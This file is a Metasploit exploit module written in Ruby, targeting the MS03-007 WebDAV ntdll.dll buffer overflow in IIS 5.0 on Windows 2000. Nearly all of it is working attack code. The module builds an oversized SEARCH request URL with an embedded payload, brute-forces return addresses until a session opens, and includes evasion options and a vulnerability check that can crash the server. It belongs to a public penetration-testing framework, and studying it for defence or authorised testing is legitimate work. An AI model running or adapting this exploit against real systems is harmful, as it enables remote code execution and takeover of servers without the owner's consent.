require 'msf/core' module Msf class Exploits::Windows::Iis::MS03_007_WEBDAV_NTDLL < Msf::Exploit::Remote include Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft IIS 5.0 WebDAV ntdll.dll Path Overflow', 'Description' => %q{ This exploits a buffer overflow in NTDLL.dll on Windows 2000 through the SEARCH WebDAV method in IIS. This particular module only works against Windows 2000. It should have a reasonable chance of success against any service pack. }, 'Author' => [ 'hdm' ], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ [ 'BID', '7116'], [ 'OSVDB', '4467'], [ 'MSB', 'MS03-007'], [ 'CVE', '2003-0109'], [ 'MIL', '28'], ], 'Privileged' => false, 'Payload' => { 'Space' => 512, 'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic Brute Force', { 'Platform' => 'win', }, ], ], 'DisclosureDate' => 'May 30 2003', 'DefaultTarget' => 0)) register_evasion_options([ OptBool.new('invalid_search_request', [false, 'Replace the valid XML search with random data', 'false']), # XXX - ugh, there has to be a better way to remove entries from an # enum that overwriting the evalable enum option OptEnum.new('HTTP::uri_encode', [false, 'Enable URI encoding', 'none', ['none','hex-normal'], 'none']) ], self.class ) deregister_options('HTTP::junk_params', 'HTTP::header_folding') end def autofilter rport = datastore['RPORT'].to_i if ( rport == 139 or rport == 445 ) rport = 80 end true end def check url = 'x' * 65535 xml = "\r\n\r\n" + "\r\nSelect \"DAV:displayname\" from scope()\r\n\r\n\r\n" response = send_request_cgi({ 'uri' => '/' + uri, 'ctype' => 'text/xml', 'method' => 'SEARCH', 'data' => xml }, 5) if (response and response.body =~ /Server Error\(exception/) return Exploit::CheckCode::Vulnerable end # Did the server stop acceping requests? begin send_request_raw({'uri' => '/'}, 5) rescue return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit # verify the service is running up front send_request_raw({'uri' => '/'}, 5) if datastore['HTTP::junk_pipeline'] > 0 print_status('junk pipelined exploitation requests may not work. If exploitation fails, try disabling pipelining') end # The targets in the most likely order they will work targets = [ # Almost Targetted :) "\x4f\x4e", # =SP3 "\x41\x42", # ~SP0 ~SP2 "\x41\x43", # ~SP1, ~SP2 # Generic Bruteforce "\x41\xc1", "\x41\xc3", "\x41\xc9", "\x41\xca", "\x41\xcb", "\x41\xcc", "\x41\xcd", "\x41\xce", "\x41\xcf", "\x41\xd0", ] xml = "\r\n\r\n" + "\r\nSelect \"DAV:displayname\" from scope()\r\n\r\n\r\n" if datastore['invalid_search_request'] == true xml = Rex::Text.rand_text(rand(1024) + 32) end # XXX - make_nops(65516) would be *so* much nicer, but opty2 is hella # fucking slow, and there is no way to say "Don't use nop_generator X" url = 'A' * 65516 url[ url.length - payload.encoded.length, payload.encoded.length ] = payload.encoded targets.each { |ret| print_status("Trying return address 0x%.8x..." % Rex::Text.to_unicode(ret).unpack('V')[0]) url[ 283, 2 ] = ret begin send_request_cgi({ 'uri' => url, 'ctype' => 'text/xml', 'method' => 'SEARCH', 'data' => xml }, 5) handler rescue => e print_error("Attempt failed: #{e.to_s}") end 1.upto(8) { |i| sleep(0.25) return if self.session_created? } if !service_running? print_error('Giving up, IIS must have completely crashed') return end } end # Try connecting to the server up to 20 times, with a two second gap # This gives the server time to recover after a failed exploit attempt def service_running? print_status('Checking if IIS is back up after a failed attempt...') 1.upto(20) {|i| begin send_request_raw({'uri' => '/'}, 5) rescue print_status("Connection failed (#{i} of 20)...") sleep(2) next end return true } return false end end end